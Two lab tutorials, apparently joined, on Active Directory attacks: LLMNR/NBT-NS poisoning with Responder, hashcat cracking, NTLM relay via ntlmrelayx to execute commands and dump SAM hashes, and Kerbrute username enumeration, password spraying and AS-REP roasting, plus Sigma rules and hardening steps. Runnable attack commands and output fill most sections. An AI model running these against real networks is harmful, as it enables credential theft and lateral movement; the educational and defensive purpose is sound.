Read the recon: a single host (192.168.56.101) is repeatedly asking for filesahre across all three protocols, and there is no authoritative answer on the network. That is a poisonable query. The Challenge set [random] line tells you Responder will issue a random server challenge unless you pin it in the config. The ignoring keyword is your proof that analyze mode injected nothing.

If this were a live network, you would now decide whether filesahre is a real-but-misconfigured host (fix DNS) or a typo (safe to poison in an authorized test).


6. Phase 2: Active Poisoning and Hash Capture

Flip off analyze mode and let Responder answer. The moment it replies to the LLMNR query claiming to be filesahre, the victim opens an SMB session to 192.168.56.50 and authenticates with NTLM. Responder’s rogue SMB server captures the Type 3 message.

By default Responder stands up several rogue servers (SMB, HTTP, MSSQL, FTP, LDAP, and more) so it can catch whatever protocol the victim tries. -w starts the WPAD rogue proxy, -v is verbose.

sudo responder -I eth0 -wv
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    SMB server                 [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]

[+] Listening for events...

[*] [LLMNR]  Poisoned answer sent to 192.168.56.101 for name filesahre
[*] [MDNS]   Poisoned answer sent to 192.168.56.101 for name filesahre.local
[*] [NBT-NS] Poisoned answer sent to 192.168.56.101 for name FILESAHRE

[SMB] NTLMv2-SSP Client   : 192.168.56.101
[SMB] NTLMv2-SSP Username : LAB\jsmith
[SMB] NTLMv2-SSP Hash     : jsmith::LAB:1122334455667788:6E3A1F9C2D4B8E70A1C5F2D9B4E83C7A:01010000000000\
00C0653150DE09D2010B2F3C4D5E6F70800000000020008004C00410042000100080044004300300031000400140\
06C00610062002E006C006F00630061006C0003001E0044004300300031002E006C00610062002E006C006F00630\
0610062000500140066006F006F002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000\
0000000000000

There it is. LAB\jsmith authenticated to your fake filesahre and handed over a Net-NTLMv2 response. Notice the ServerChallenge is 1122334455667788, Responder’s static default. The long trailing hex is the Blob (timestamp, client challenge, target AvPairs).

Responder also writes everything to disk. Enumerate the log directory to confirm the capture landed:

ls -l /usr/share/responder/logs/ | grep NTLMv2
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.101.txt
-rw-r--r-- 1 root root  612 May 14 12:09 SMB-NTLMv2-SSP-192.168.56.101.txt

jsmith::LAB:1122334455667788:6E3A1F9C2D4B8E70A1C5F2D9B4E83C7A:0101000000000000C0653150DE09D2010B2F3C4D5E6F7080000000000200080\
04C00410042000100080044004300300031000400140006C00610062002E006C006F00630061006C0003001E0044004300300031002E006C00610062002E006\
C006F00630061006C0005001400660066006F002E006C006F00630061006C0007000800C0653150DE09D2010600040002000000000000000000000000

Map the fields against the format from Section 3:

FieldValueSource
USERNAMEjsmithType 3 UserName
DOMAINLABType 3 DomainName
ServerChallenge1122334455667788Type 2 nonce
NTProofStr6E3A1F9C2D4B8E70A1C5F2D9B4E83C7AHMAC-MD5 proof
Blob0101000000...NTLMv2_CLIENT_CHALLENGE

One war-story note: Responder only captures a hash once per host by default to avoid noise. If you are testing and want repeated captures, you need to clear the session or set Responder.conf accordingly, otherwise you will trigger the victim ten times and wonder why the console stays quiet after the first hit. That cost me twenty minutes the first time before I read the config comments.


7. Phase 3: Offline Cracking with hashcat

The capture is a salted HMAC-MD5 response, so the only way to recover the plaintext is to guess passwords, hash each guess through the full Net-NTLMv2 chain, and compare. Hashcat does this on the GPU at mode 5600.

Enumerate first: inspect the hash line and confirm it is well-formed before burning GPU cycles. A truncated paste (a real and common mistake when copying multi-line Blobs) silently fails to load.

cp /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.101.txt hash.txt
# Confirm it is a single, complete line with five colon-delimited fields
awk -F: '{print "fields:", NF}' hash.txt
fields: 6

Six because the username block itself contains the empty :: (the unused LM field), which is expected for the user::domain:... format. Now run the dictionary attack:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 CUDA 12.2) - Platform #1
=================================================
* Device #1: NVIDIA GeForce RTX 3060, 11906/12044 MB

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmap table: 16 bits, 65536 entries...

JSMITH::LAB:1122334455667788:6e3a1f9c2d4b8e70a1c5f2d9b4e83c7a:0101000000000000c0653150de09d201...:Summer2024!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Speed.#1.........:  2841.6 MH/s
Recovered........: 1/1 (100.00%) Digests
Started: Wed May 14 12:14:02 2026
Stopped: Wed May 14 12:14:39 2026

Summer2024! recovered in 37 seconds. Weak passwords against Net-NTLMv2 fall fast because HMAC-MD5 is cheap to compute on a GPU (billions of guesses per second). If straight rockyou misses, layer on a rules file to mutate each candidate:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Status...........: Exhausted
Recovered........: 0/1 (0.00%) Digests
Speed.#1.........:  2790.3 MH/s

That Exhausted with zero recovered is what a strong password looks like: rockyou plus best64 generated roughly 89 million candidates and none matched. This is precisely why a 15-plus character passphrase defeats the crack path entirely. Recall a previously cracked result without rerunning:

hashcat -m 5600 hash.txt --show
JSMITH::LAB:1122334455667788:6e3a1f9c2d4b8e70a1c5f2d9b4e83c7a:0101000000000000...:Summer2024!

When the crack path dies against a strong password, you do not give up. You relay.


8. Phase 4 (Advanced): NTLM Relay with ntlmrelayx

Relaying is what makes poisoning dangerous even when you cannot crack a thing. Instead of logging the Type 3 message and attacking it offline, you forward it in real time to another host that does not enforce SMB signing, authenticating as the victim against a machine you choose. If the victim is a local admin on the target, you get code execution or a SAM dump without ever knowing the password.

Two preconditions: the target SMB service must have signing disabled (or not required), and the captured user must have local admin on that target. So the enumeration comes first.

Enumerate SMB signing posture

crackmapexec (or NetExec) sweeps the subnet and flags hosts where signing is not required. Those are your relay targets.

crackmapexec smb 192.168.56.0/24 --gen-relay-list targets.txt
SMB  192.168.56.10   445  DC01      [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:lab.local) (signing:True)  (SMBv1:False)
SMB  192.168.56.101  445  WIN10-WS01 [*] Windows 10 Build 19041 x64 (name:WIN10-WS01) (domain:lab.local) (signing:False) (SMBv1:False)
SMB  192.168.56.102  445  WIN10-WS02 [*] Windows 10 Build 19041 x64 (name:WIN10-WS02) (domain:lab.local) (signing:False) (SMBv1:False)
[*] Generated relay target list: targets.txt
cat targets.txt
192.168.56.101
192.168.56.102

The DC shows signing:True (domain controllers require it by default, so it is off the list). Both workstations show signing:False, which means they accept relayed authentication. Cross-check with nmap if you want a second opinion:

sudo nmap -p445 --script smb2-security-mode 192.168.56.102
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

“Enabled but not required” is the relayable condition. Required signing would read “Message signing enabled and required.”

Free the ports, then relay

ntlmrelayx needs SMB and HTTP. Responder grabs those by default, so turn them off in /etc/responder/Responder.conf before running both tools together.

sudo sed -i 's/^SMB = On/SMB = Off/' /etc/responder/Responder.conf
sudo sed -i 's/^HTTP = On/HTTP = Off/' /etc/responder/Responder.conf
grep -E '^(SMB|HTTP) =' /etc/responder/Responder.conf
SMB = Off
HTTP = Off

Start the relay listener pointed at the unsigned targets, with -smb2support and a command to run as the relayed user:

sudo ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Servers started, waiting for connections

Now start Responder with SMB and HTTP off so it only poisons names and hands the authentication to the relay:

sudo responder -I eth0 -wv
[*] [LLMNR]  Poisoned answer sent to 192.168.56.101 for name filesahre

When the victim authenticates, ntlmrelayx forwards the session to a target where jsmith is a local admin and runs the command:

[*] Authenticating against smb://192.168.56.102 as LAB/JSMITH SUCCEED
[*] SMBD-Thread-5: Connection from LAB/JSMITH@192.168.56.101 controlled, attacking target smb://192.168.56.102
[*] Executed specified command on host: 192.168.56.102
lab\jsmith
[*] Service RemoteRegistry is in stopped state
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:8a3b... :::

No cracking, no plaintext, and you are executing commands and dumping the local SAM as lab\jsmith on a second host. Drop -c "whoami" and you get the SAM dump automatically. Swap in -c payloads, SOCKS proxying (-socks), or LDAP targets to escalate further. This is the technique that turns a single typo’d UNC path into lateral movement.


Graph diagram showing the NTLM relay attack chain: Responder poisons the victim's name query, ntlmrelayx forwards the NTLM authentication to an unsigned SMB target, and achieves command execution and SAM dump
Relay bypasses cracking entirely – the victim’s authentication is forwarded live to a second host where they hold admin rights, yielding execution without ever recovering the password.

9. WPAD Abuse Extension

WPAD (Web Proxy Auto-Discovery) is a bonus credential source riding the same poisoning. Browsers and many Windows components look up the name wpad to auto-discover a proxy configuration. When DNS has no wpad record, that lookup multicasts exactly like any other, and Responder answers.

The enumeration is the same analyze-mode pass; watch for wpad queries specifically:

sudo responder -I eth0 -A | grep -i wpad
[Analyze mode: LLMNR] Request by 192.168.56.101 for wpad, ignoring
[Analyze mode: MDNS] Request by 192.168.56.101 for wpad.local, ignoring

Those wpad requests mean WPAD abuse is on the table. With -w Responder serves a malicious wpad.dat pointing the victim’s proxy at the attacker, and with -F it forces NTLM or HTTP Basic authentication on the WPAD fetch. A Basic-auth prompt yields cleartext credentials, while NTLM yields another Net-NTLMv2 hash to crack or relay. Same chain, different protocol door.


10. Detection: Telemetry, SIEM Rules, and Honeypots

Offense done. Now make it loud. Because the attack rides normal-looking name resolution, detection leans on anomaly: a non-authoritative host answering queries, NTLM logons from unexpected sources, and the attacker tooling itself.

Sysmon and Windows Security telemetry

Event IDSourceWhat it catches
Sysmon EID 1 (Process Create)EndpointResponder/ntlmrelayx.py/Inveigh launched, with telltale CLI flags like -I, -wv, -rdwv
Sysmon EID 3 (Network Connect)EndpointNon-system process binding UDP 5355 or UDP 137
Sysmon EID 18 (Pipe Connected)EndpointSMB named-pipe access to \pipe\lsarpc, \pipe\efsr, \pipe\spoolss, \pipe\netdfs from a non-DC to a DC (relay exec)
Security 4624 (Logon Success)DC / hostLogon Type 3 (network) NTLM logons from unexpected source IPs, or where the source workstation name does not match the expected host for that IP
Security 4625 (Logon Failure)Multiple hostsRapid failures across many hosts from one source = relay scanning
Security 7045 (Service Installed)Target hostRandom service name and ImagePath, the classic relay-exec footprint
PowerShell 4104 (Script Block)EndpointInvoke-Inveigh and similar in-memory poisoners

The single highest-fidelity network signal: a host that sends an LLMNR/NBT-NS response when it is not a DNS server and received no prior DNS delegation. Legitimate clients query; they do not answer for names they do not own.

Sigma rules

Responder process launch on a Windows host (Inveigh-style or a planted binary):

title: Responder or Inveigh Poisoner Process Launch
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|contains:
      - 'Responder.py'
      - 'Responder.exe'
  flags:
    CommandLine|contains:
      - '-I '
      - '-wv'
      - '-rdwv'
  condition: selection and flags
level: high

Suspicious LLMNR response from a non-authoritative host:

title: LLMNR Response From Non-DNS Host
logsource:
  category: network
detection:
  selection:
    dst_port: 5355
    protocol: udp
    response_flag: true
  filter_legit:
    src_ip:
      - '192.168.56.10'   # authoritative DNS / DC
  condition: selection and not filter_legit
level: high

Unexpected Type 3 NTLM network logon (relay landing on a target):

title: Unexpected NTLM Network Logon
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    AuthenticationPackageName: 'NTLM'
  filter_known:
    IpAddress:
      - '192.168.56.10'   # known management hosts
  condition: selection and not filter_known
level: medium

Honeypot queries

The cheapest detection in the building: a monitoring host periodically emits a uniquely named LLMNR/NBT-NS query for a name that does not and should not exist anywhere. Any answer is, by definition, a poisoner. There is no false positive, because no legitimate host owns a name you invented thirty seconds ago.

MITRE tracks this whole pattern under Detection Strategy DET0462, which correlates anomalous UDP 5355/137 traffic with SMB relay attempts, registry edits re-enabling multicast name resolution, and suspicious service creation.


11. Defense: Hardening the Environment

Detection tells you it happened. Hardening makes it impossible. The fix order matters: analyze before you disable, because legacy print servers and NAS devices that are registered only in NBT-NS and not in DNS will go dark the instant you turn it off. Migrate them to DNS first.

MitigationImplementation
Disable LLMNRGPO: Computer Configuration > Administrative Templates > Network > DNS Client > Turn OFF Multicast Name Resolution > Enabled
Disable NBT-NSSet NetbiosOptions = 2 under HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\<GUID> via DHCP option 001 or a startup script
Disable mDNSSet HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0
Require SMB signingGPO: ... Security Options > Microsoft network server: Digitally sign communications (always) > Enabled
LDAP signing + channel bindingDC security policy; blocks LDAP relay specifically
Strong passwords (15+ chars)Defeats the hashcat crack path against Net-NTLMv2
LLMNR/NBT-NS honeypotsMonitoring host emits unique queries; any answer is anomalous
NACWhere protocols cannot be disabled, restrict device access by MAC

The two controls with the highest payoff are disabling LLMNR/NBT-NS (removes the capture path entirely) and requiring SMB signing (removes the relay path entirely). Do both and a Responder instance on your network sits silent. Push NBT-NS via a startup script if your hosts pull addresses from DHCP:

$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces"
Get-ChildItem $key | ForEach-Object {
    Set-ItemProperty -Path $_.PSPath -Name NetbiosOptions -Value 2
}
# (no output; NetbiosOptions set to 2 on all interfaces)
PS C:\> Get-ChildItem $key | ForEach-Object { (Get-ItemProperty $_.PSPath).NetbiosOptions }
2

Re-run your tcpdump from Section 2 after applying the GPO. If the workstation stops emitting UDP 5355 and 137 entirely, the hardening took.


Conceptual illustration of a vault door sealing off LLMNR, NBT-NS, and mDNS multicast waves, representing GPO hardening shutting down the poisoning attack surface
Disabling LLMNR, NBT-NS, and mDNS via GPO and enforcing SMB signing seals the two paths – capture and relay – that make poisoning dangerous.

12. Tools for Name-Resolution-Poisoning Analysis

ToolDescriptionLink
ResponderLLMNR/NBT-NS/mDNS poisoner and rogue auth servergithub.com/lgandx/Responder
Impacket ntlmrelayxNTLM relay workhorse, SMB/LDAP/HTTP targetsgithub.com/fortra/impacket
InveighPowerShell/C# poisoner for Windows hostsgithub.com/Kevin-Robertson/Inveigh
hashcatGPU cracker, mode 5600 for Net-NTLMv2hashcat.net
CrackMapExec / NetExecSMB signing enumeration, relay list generationgithub.com/Pennyw0rth/NetExec
WiresharkPacket-level inspection of LLMNR/NBT-NS/mDNSwireshark.org
tcpdumpLightweight CLI capture for query verificationtcpdump.org
SysmonEndpoint telemetry (EID 1/3/18)learn.microsoft.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB RelayT1557.001Anomalous UDP 5355/137 responses; unexpected Type 3 NTLM 4624
Adversary-in-the-Middle (parent)T1557Network anomaly + endpoint process telemetry
Network SniffingT1040Promiscuous capture, passive analyze-mode footprint
Brute Force: Password CrackingT1110.002Offline hashcat activity (host-based, not on-wire)
Forced AuthenticationT1187Victim NTLM auth to non-authoritative host

Lazarus Group has run Responder in the wild with [path] -i [IP] -rPv, which maps cleanly to T1557.001. Treat this as an active, current TTP.


14. Summary

  • LLMNR, NBT-NS, and mDNS are unauthenticated, first-responder-wins fallback protocols, and that single trust flaw is the entire attack. Windows multicasts a name query when DNS fails, and Responder answers before anyone else.
  • What you capture is Net-NTLMv2, not the NT hash. It is an HMAC-MD5 challenge-response keyed on the NT hash, so it cannot pass-the-hash but it can be cracked offline (hashcat -m 5600) or relayed live.
  • The relay path with ntlmrelayx is the dangerous one. Even an uncrackable password is game over if a target has SMB signing disabled and the victim is a local admin, yielding command execution and SAM dumps.
  • Always enumerate before you act: analyze mode (-A) to find poisonable queries, and crackmapexec --gen-relay-list to find unsigned relay targets.
  • Detect with Sysmon EID 1/3/18, Security 4624 Type 3 / 4625 / 7045, anomalous UDP 5355/137 responses, and honeypot queries (MITRE DET0462).
  • Kill it for good by disabling LLMNR/NBT-NS/mDNS via GPO, requiring SMB and LDAP signing, and enforcing 15-plus character passwords, but migrate legacy NetBIOS-only hosts to DNS first.

References

Username Enumeration and Validation with Kerbrute: Abusing Kerberos Pre-Authentication

You have network access to a target subnet and a domain controller answering on port 88. No credentials. No foothold. Before you touch a single password, you need a list of accounts that actually exist, because spraying a wordlist of 50,000 invented usernames is loud, slow, and pointless. Kerberos hands you that list for free. The protocol that was designed to keep passwords off the wire will happily tell an unauthenticated stranger exactly which accounts are real, and it does so without ever touching the lockout counter.

Objective: Understand how the Kerberos AS-REQ exchange leaks valid account existence through differential KDC error codes, how Kerbrute weaponizes that oracle to enumerate usernames and harvest AS-REP hashes without domain credentials, how to pivot from a confirmed username list into credential access, and how a defender detects every step on the domain controller.


1. Kerberos Authentication Primer

Kerberos is the default authentication protocol in Active Directory, and to abuse it you have to understand what each message is for. Three logical components live inside the Key Distribution Center (KDC), which runs on every domain controller:

ComponentRole
Authentication Service (AS)Issues the initial Ticket Granting Ticket (TGT) after the client proves it knows its key
Ticket Granting Service (TGS)Exchanges a valid TGT for service tickets to specific resources
KDC databaseThe AD database (ntds.dit) holding every account’s long-term key derived from its password

The full ticket flow is four messages:

  1. AS-REQ – client asks the AS for a TGT.
  2. AS-REP – AS returns the TGT (encrypted with the krbtgt key) plus a session key (encrypted with the client’s key).
  3. TGS-REQ – client presents the TGT and asks for a service ticket to a named Service Principal Name (SPN).
  4. TGS-REP – TGS returns the service ticket, encrypted with the target service account’s key.

The piece that matters for enumeration is pre-authentication, which lives inside the AS-REQ. Without it, anyone could send an AS-REQ for any username and receive an AS-REP containing material encrypted with that user’s password-derived key, then crack it offline at leisure. To stop that, Kerberos v5 requires the client to prove it knows the password before the KDC issues anything.

The proof is a timestamp: the client takes the current time, encrypts it with its secret key (the key derived from the user password using DES, RC4/arcfour-hmac-md5, AES128, or AES256), and ships that PA-ENC-TIMESTAMP blob inside the AS-REQ alongside the username. The KDC decrypts it with the stored key for that account. If the plaintext is a sane timestamp, the password is correct and a TGT is issued. If decryption fails, pre-auth failed.

This single design decision is the source of everything that follows. The KDC must answer differently depending on whether the account exists, whether pre-auth was required, and whether the supplied key was correct. Those differences are an oracle.

Kerberos listens on port 88 over both UDP and TCP. A username validation costs a single UDP frame to the KDC, which is why this is so fast.


2. The Enumeration Oracle: KDC Error Code Differentials

Send an AS-REQ with no pre-auth data and a username, and the KDC’s reply tells you the account’s state with surgical precision. The error codes are defined in RFC 4120 and surface in Windows Event logs as hex values:

KDC Error (RFC 4120 name)Hex CodeWhat it tells the attacker
KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN0x6Username does not exist in the domain
KRB5KDC_ERR_PREAUTH_REQUIRED0x19Username is valid, pre-authentication is required
KDC_ERR_PREAUTH_FAILED0x18Valid user, wrong password supplied
KDC_ERR_CLIENT_REVOKED0x12Account is disabled, locked, or expired
KDC_ERR_KEY_EXPIRED(key expired)Valid user, password expired

Walk through the logic an attacker exploits:

  • Send an AS-REQ for nonexistent_user. The KDC has no account record, so it returns 0x6 (PRINCIPAL_UNKNOWN). Cross that name off the list.
  • Send an AS-REQ for jsmith with no pre-auth blob. The account exists and requires pre-auth, so the KDC refuses to issue a ticket and returns 0x19 (PREAUTH_REQUIRED). That 0x19 is the confirmation: the account is real. You never had to know the password.
  • Send an AS-REQ for svc_backup, an account where pre-auth is disabled. The KDC skips the timestamp check entirely and returns a full AS-REP containing an encrypted blob signed with the account’s key. That blob is crackable offline. This is the AS-REP roasting primitive falling straight into your lap.

The reason this is so attractive operationally: the AS-REQ enumeration method does not validate credentials, so it does not increment badPwdCount, which means it does not lock accounts. You can churn through hundreds of thousands of candidate names and never trip a single lockout. And because failed pre-auth here is a Kerberos event, not an NTLM logon, it does not generate the classic Event ID 4625 (“An account failed to log on”) that blue teams traditionally watch.

The differential between 0x6 and 0x19 is the whole game. One unauthenticated request per candidate name converts a wordlist into a validated account roster.


Flowchart showing how a single unauthenticated AS-REQ produces four distinct KDC error codes that reveal account existence, pre-auth status, and roastability
The KDC’s differential error responses turn an unauthenticated AS-REQ into a precise account-state oracle with no credential required.

3. Lab Environment Setup

Build this in isolation. Three machines on a host-only 192.168.56.0/24 network so nothing leaks.

ComponentSpec
Domain ControllerWindows Server 2022 Evaluation, domain corplab.local, 192.168.56.10 (hostname DC01)
WorkstationWindows 10, domain-joined, 192.168.56.20
AttackerKali Linux 2024+, 192.168.56.100
Vulnerable accountssvc_backup (pre-auth disabled), jsmith (password Summer2024!), plus noise accounts
Lockout policyThreshold 5 attempts (so --safe actually matters)

After promoting DC01 to a domain controller for corplab.local, create the intentionally weak accounts. Run this in an elevated PowerShell on the DC.

# Create a normal user with a weak, sprayable password
New-ADUser -Name "John Smith" -SamAccountName jsmith `
  -UserPrincipalName jsmith@corplab.local `
  -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
  -Enabled $true

# Create a service account and DISABLE Kerberos pre-authentication on it
New-ADUser -Name "svc_backup" -SamAccountName svc_backup `
  -UserPrincipalName svc_backup@corplab.local `
  -Path "OU=ServiceAccounts,DC=corplab,DC=local" `
  -AccountPassword (ConvertTo-SecureString "Pa55w0rd!" -AsPlainText -Force) `
  -Enabled $true
Set-ADAccountControl -Identity svc_backup -DoesNotRequirePreAuth $true

# Seed 10 noise accounts so enumeration has signal and noise
1..10 | ForEach-Object {
  New-ADUser -Name "noise$_" -SamAccountName "noise$_" `
    -AccountPassword (ConvertTo-SecureString "N0ise$_!extra" -AsPlainText -Force) `
    -Enabled $true
}
# (no output on success; verify below)
PS C:\> Get-ADUser svc_backup -Properties DoesNotRequirePreAuth | `
        Select Name, DoesNotRequirePreAuth

Name        DoesNotRequirePreAuth
----        ---------------------
svc_backup                   True

Setting DoesNotRequirePreAuth $true flips the DONT_REQ_PREAUTH bit (0x400000) in the account’s userAccountControl attribute. That single bit is what turns svc_backup from a normal account into an AS-REP roasting target. Audit your domain for it any time:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Select-Object SamAccountName, DoesNotRequirePreAuth
SamAccountName DoesNotRequirePreAuth
-------------- ---------------------
svc_backup                      True

Finally, set a lockout threshold so the password-spray section teaches real lockout awareness:

Set-ADDefaultDomainPasswordPolicy -Identity corplab.local `
  -LockoutThreshold 5 -LockoutDuration 00:15:00 -LockoutObservationWindow 00:15:00
# (no output on success)

4. Kerbrute: Installation, Architecture, and Modes

Kerbrute is a Go tool written by Ronnie Flathers (@ropnop). It drives raw AS-REQ messages through the gokrb5 library, talking directly to the KDC on port 88 instead of routing username checks through slow SMB or LDAP. That direct path is what makes it fast and what keeps it off the NTLM logon-failure radar.

Grab a precompiled binary or build from source:

# Precompiled (fastest path)
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute
./kerbrute --version
Version: v1.0.3 (9cfb81e) - 06/30/24
# Or build from source if you want to read/modify it
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
make all
ls dist/
kerbrute_darwin_amd64   kerbrute_linux_386     kerbrute_windows_amd64.exe
kerbrute_linux_amd64    kerbrute_linux_arm64

Kerbrute exposes four sub-commands. Pick the one that matches your stage in the kill chain.

Sub-commandPurposeTouches lockout?
userenumEnumerate valid usernames via AS-REQ error differentialsNo
passwordsprayTest one password against many usersYes
bruteuserTest a wordlist against one userYes
bruteforceTest user:password combos from a file or stdinYes

Flags you will reach for repeatedly:

FlagPurpose
--dcTarget KDC / domain controller IP
-d / --domainFull domain name (corplab.local)
--hash-fileSave captured AS-REP hashes for pre-auth-disabled accounts
--downgradeForce RC4 (arcfour-hmac-md5) encryption downgrade
--safeAbort the run if any account is observed as locked
-tThread count (default 10)
-oWrite valid results to an output file

One warning that is not optional. userenum is safe against lockout because it validates nothing. passwordspray, bruteuser, and bruteforce submit real pre-auth attempts. Failed pre-auth counts as a failed logon and will lock accounts once you cross the threshold. Treat the active modes as live ammunition.


5. Hands-On: Username Enumeration

Enumeration first: confirm the KDC

Before firing names at it, prove the target is a domain controller exposing Kerberos and learn the domain name from the LDAP banner.

nmap -sV -p 88,389,445 192.168.56.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.56.10
Host is up (0.00042s latency).

PORT    STATE SERVICE       VERSION
88/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-30 18:22:03Z)
389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: corplab.local0., Site: Default-First-Site-Name)
445/tcp open  microsoft-ds?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Port 88 open and labelled kerberos-sec, and the LDAP banner leaks Domain: corplab.local. That is everything Kerbrute needs: a --dc and a -d.

Build the candidate wordlist

A good enumeration run is only as good as the names you feed it. Start from SecLists, then layer in organization-specific naming conventions (firstname.lastname, finitial+lastname, and so on) gleaned from OSINT.

cp /usr/share/seclists/Usernames/Names/names.txt ~/lab/names.txt
wc -l ~/lab/names.txt
10177 /usr/share/seclists/Usernames/Names/names.txt
# Generate convention-based candidates: first.last and flast
python3 namegen.py --first first_names.txt --last last_names.txt \
  --format '{first}.{last},{f}{last}' > ~/lab/corp_users.txt
wc -l ~/lab/corp_users.txt
1500 /usr/share/seclists/Usernames/Names/names.txt

Run userenum

./kerbrute userenum \
  --dc 192.168.56.10 \
  -d corplab.local \
  -t 50 \
  --hash-file asrep_hashes.txt \
  -o valid_users.txt \
  ~/lab/corp_users.txt
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9cfb81e) - 06/30/24 - Ronnie Flathers @ropnop

2024/06/30 14:22:01 >  Using KDC(s):
2024/06/30 14:22:01 >    192.168.56.10:88

2024/06/30 14:22:01 >  [+] svc_backup has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8
2024/06/30 14:22:01 >  [+] VALID USERNAME:   svc_backup@corplab.local
2024/06/30 14:22:01 >  [+] VALID USERNAME:   jsmith@corplab.local
2024/06/30 14:22:05 >  Done! Tested 1500 usernames (2 valid) in 3.521 seconds

Read that output carefully because it contains two distinct wins.

jsmith came back as a plain VALID USERNAME. Behind the scenes Kerbrute sent an AS-REQ, the KDC replied with 0x19 (PREAUTH_REQUIRED), and Kerbrute translated that into “this account exists.” That goes into valid_users.txt for the spray phase.

svc_backup did something more interesting. The KDC returned a full AS-REP instead of a pre-auth error, because the DONT_REQ_PREAUTH bit is set. Kerbrute recognized the account requires no pre-auth, extracted the encrypted blob, and dumped it as a $krb5asrep$23$ hash to asrep_hashes.txt. You enumerated a username and harvested a crackable credential in the same packet exchange.

Check the artifacts:

cat valid_users.txt && echo "---" && cat asrep_hashes.txt
svc_backup@corplab.local
jsmith@corplab.local
---
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8

The 23 in the hash is the encryption type: RC4-HMAC (etype 23). That maps directly to a hashcat mode, which we get to shortly.


Flow diagram tracing Kerbrute userenum from wordlist input through AS-REQ exchanges to two output artifacts: a valid users list and a captured AS-REP hash file
A single userenum run splits the wordlist into confirmed accounts and immediately harvests crackable AS-REP hashes for pre-auth-disabled accounts.

6. Hands-On: Password Spraying

Enumeration first: know the lockout policy

Spraying blind into an unknown lockout policy is how red teams get fired. Before you submit a single real pre-auth attempt, learn the threshold. With no credentials you can sometimes read the policy via null/guest SMB; in this lab assume you confirmed a threshold of 5.

The math is simple and unforgiving. With a threshold of 5 and a 15-minute observation window, you get at most a handful of attempts per account before lockout. One password tested across the whole user list is one failed attempt per account, which is safe. Two passwords in quick succession is two. Never let your spray cadence approach the threshold inside the observation window.

Run passwordspray with a safety net

Use only the confirmed usernames from valid_users.txt, not the raw wordlist, and add --safe so the run aborts the instant any account is observed locked.

./kerbrute passwordspray \
  --dc 192.168.56.10 \
  -d corplab.local \
  --safe \
  valid_users.txt \
  'Summer2024!'
2024/06/30 14:30:01 >  Using KDC(s):
2024/06/30 14:30:01 >    192.168.56.10:88

2024/06/30 14:30:01 >  [+] VALID LOGIN:   jsmith@corplab.local:Summer2024!
2024/06/30 14:30:03 >  Done! Tested 2 logins (1 successes) in 1.992 seconds

jsmith:Summer2024! is now a confirmed credential. Here the spray submitted a real PA-ENC-TIMESTAMP. For jsmith the KDC decrypted it successfully and issued a TGT, which Kerbrute reports as VALID LOGIN. For svc_backup the wrong password would have produced 0x18 (PREAUTH_FAILED) and incremented badPwdCount. That distinction is exactly what a defender hunts for, and we will weaponize it in detection.


7. Captured Hash Cracking: The AS-REP Roasting Pivot

The svc_backup hash from section 5 needs no spraying. It is an AS-REP blob encrypted with the account’s RC4 key, and you crack it offline with zero further interaction with the domain. This is AS-REP roasting, and DONT_REQ_PREAUTH is the precondition that made it possible.

Inspect the captured hash format first:

head -c 120 asrep_hashes.txt; echo
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...

